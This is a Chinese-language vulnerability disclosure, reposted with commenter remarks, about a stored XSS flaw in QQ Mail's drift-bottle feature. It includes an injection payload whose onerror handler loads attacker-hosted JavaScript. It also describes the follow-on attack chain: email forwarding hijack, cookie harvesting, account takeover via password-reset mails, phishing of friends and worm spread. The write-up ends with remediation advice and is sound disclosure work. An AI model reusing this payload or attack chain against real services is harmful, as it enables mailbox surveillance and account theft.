一只漂流瓶向你飘了过来。。它飘来的可能是对美好生活的向往,可能是对世俗的抱怨,可能是某局长发来的某某某,它,还有可能是XSS!。漂流瓶,作为一项个人认为是“娱乐”的功能,却放在了QQ邮箱这种涉及到个人隐私和私密信息的系统里,一旦存在漏洞,将会导致QQ邮箱本身的安全防护荡然无存。

在这个帖子里,我给大家演示的就是,当漂流瓶这个娱乐功能存在存储型XSS之后,对邮箱这个核心功能所带来的影响。 同学们~ 还敢玩漂流瓶么? 当你打开一个漂流瓶之后,QQ号码信息,邮箱里的小秘密就被我知道了,会是一种什么感觉呢?

1. 漏洞成因:漂流瓶某处参数过滤不当,导致存储型XSS。

具体测试过程:

1.1 发送一个漂流瓶,并使用漂流瓶的录音功能。

1.2 定位到发送的漂流上,F12打开调试工具看代码。

一只漂流瓶带来的后续危害:漂流瓶飘来的可能是愿望,也有可能是XSS!

1.3 同时查看抓包的代码,可以看到相同内容。

一只漂流瓶带来的后续危害:漂流瓶飘来的可能是愿望,也有可能是XSS!

1.4 进而进行字符测试,测试使用\u0022\u003E时,发生侧漏

一只漂流瓶带来的后续危害:漂流瓶飘来的可能是愿望,也有可能是XSS!

1.5 说明这里对反斜线的过滤存在问题。

1.6 进一步构造我们的利用代码。下面仅贴出部分源码。

请求时的利用代码

var serv="恶意外部JS文件所在服务器";
var mail2rec="接受转发的邮箱";
var mailUin="发送恶意漂流瓶的Hacker QQ";
var evil_code="voice_21121721212136.mp3\\u0022\\u003e\\u003cimg src=1 onerror=\\u0022loadJSSrc(\\u0027"+serv+"?u="+mail2rec+"\\u0026i="+mailUin+"\\u0027);this.style.display=\\u0027none\\u0027\\u0022\\u003e\\u003cb a=\\u0022";

进行修改邮箱转发设置及传播时,自动扔回大海,删除瓶子等代码

@see http://itsokla.duapp.com/qq_piaoliuping_xss_code.txt

代码中,所用到的pkav Object 见 http://itsokla.duapp.com/pkav.js (from http://pkav.net)

2. 因为成因并不是很复杂,这里主要强调后续利用带来的影响。

邮箱业务和漂流瓶处于同一域名下。就算是cookie加了保护,我们也可以直接通过ajax对邮箱的数据进行操作。因而这里带来的危害是很明显的。

一只漂流瓶带来的后续危害:漂流瓶飘来的可能是愿望,也有可能是XSS!

3. 我们以设置邮箱转发作为危害实例。根据缺陷,我们构造好利用代码,并编写利用工具。

一只漂流瓶带来的后续危害:漂流瓶飘来的可能是愿望,也有可能是XSS!

4. 在我们发送带有恶意代码的漂流瓶之后,打开我们的收件邮箱,可以看到受害者的邮箱被设置转发了。

一只漂流瓶带来的后续危害:漂流瓶飘来的可能是愿望,也有可能是XSS!

5. 这里以我的小号做邮件转发测试,向我的受害者小号发送邮件之后,我们可以在收信箱里看到我们“监听”收到的邮件~

一只漂流瓶带来的后续危害:漂流瓶飘来的可能是愿望,也有可能是XSS!

6. 当然上面只是第一级的危害。我们还可以进一步扩大危害范围。

7. 配合cookies收集,我们很容易从cookies里得到受害者的QQ号码信息。进而通过QQ资料获取更多的信息。以便下一步进行攻击!

一只漂流瓶带来的后续危害:漂流瓶飘来的可能是愿望,也有可能是XSS!

8. 这里再“假设”受害者同时是微博的用户,或者百度的用户,由于微博或者百度官方通常会发一些系统提醒邮件,这个时候我们可以进一步获取受害人信息。(其实不用假设,经过取样分析,这种情况是很常见的。):

一只漂流瓶带来的后续危害:漂流瓶飘来的可能是愿望,也有可能是XSS!

那么我们如果利用百度的密码找回功能。

一只漂流瓶带来的后续危害:漂流瓶飘来的可能是愿望,也有可能是XSS!

可以看到我们就可以收到对方的密码修改邮件,从而实现密码的修改。

一只漂流瓶带来的后续危害:漂流瓶飘来的可能是愿望,也有可能是XSS!

10. 上面只是以百度作为例子,现在的密码找回功能,很多都是与邮箱挂钩的!而当前许多用户都是使用的QQ邮箱,因而会威胁到用户其它网站的安全。

11. 由于是同域,我们甚至可以伪装受害者向受害者的朋友发送欺诈邮件,由于是二次攻击,信任关系增强,危害将会变得更大。

12. 当然,漂流瓶这个蠕虫,还有个特点,就是利用漂流瓶自己的传播功能,自发蠕虫,隐蔽,不易被发现。

13. 我们不难看到,一个娱乐圈的混进了行政圈,带来了多么严重操蛋的后果啊!!

修复方法:

1. 修复XSS问题。

2. 建议将漂流瓶这个功能与邮箱进行业务隔离。以免因小失大!

3. 建议将“邮件转发”这种涉及到邮件安全的设置动作,加上验证码操作,以防止由于普通XSS而导致的后门功能!

转自:http://www.wooyun.org/bugs/wooyun-2010-010770

站长评论:

这个利用起来,有个很大的缺陷,无法指定目标攻击,直接降低了该漏洞的价值。

不过,倒是可以发起一次无目的性的蠕虫攻击(大规模撒网的话,或许收获不小~)……

由于漂流瓶的特性(随机目标),导致这个漏洞的价值大大降低,不过文章写的很好,思路清晰,分析的很全面、很细致,很赞!值得一读!

留言评论(旧系统):

only_guest @ 2012-08-11 17:05:50

核总最后的一句总结很蛋疼,邮箱被盗会有夸大成分? 我测试这个XSS的时候,是设置被害者邮箱自动转发到我的邮箱。 我用被害者邮箱使用密码找回功能,我的邮箱一样可以收到。 一样可以修改密码,夸大的成分在哪?

本站回复:

我是说,在这种“无法指定目标”的攻击中,“间接方式盗取”其他网站账号的行为,是没有实际意义的,通俗的说,就是略鸡肋…… 如果刻意强调这个“间接盗号”过程的话,我个人感觉,是有点夸大成分在内…… 由于漂流瓶的特性(随机目标),导致这个漏洞的价值大大降低,不过文章写的很好,思路清晰,分析的很全面、很细致,很赞!值得一读! (PS:不适当语言已删除……)